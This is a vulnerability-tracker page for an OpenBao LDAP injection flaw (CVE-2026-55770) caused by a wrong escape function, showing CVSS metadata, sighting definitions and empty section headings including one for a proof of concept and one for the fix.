  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenBao: LDAPi ldaputil (wrong escape func)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-55770 (GCVE-0-2026-55770)

FKIE_CVE-2026-55770

GHSA-6MWX-4547-5VC9

1. Description

Component

Root Cause

Exploitation Mechanics

Preconditions

2. Proof of Concept

3. Impact

Why This Is High Severity

4. Remediation

Primary Fix: Use ldap.EscapeFilter

Audit: All Call Sites

Defense-in-Depth

Tags

Sightings

Nomenclature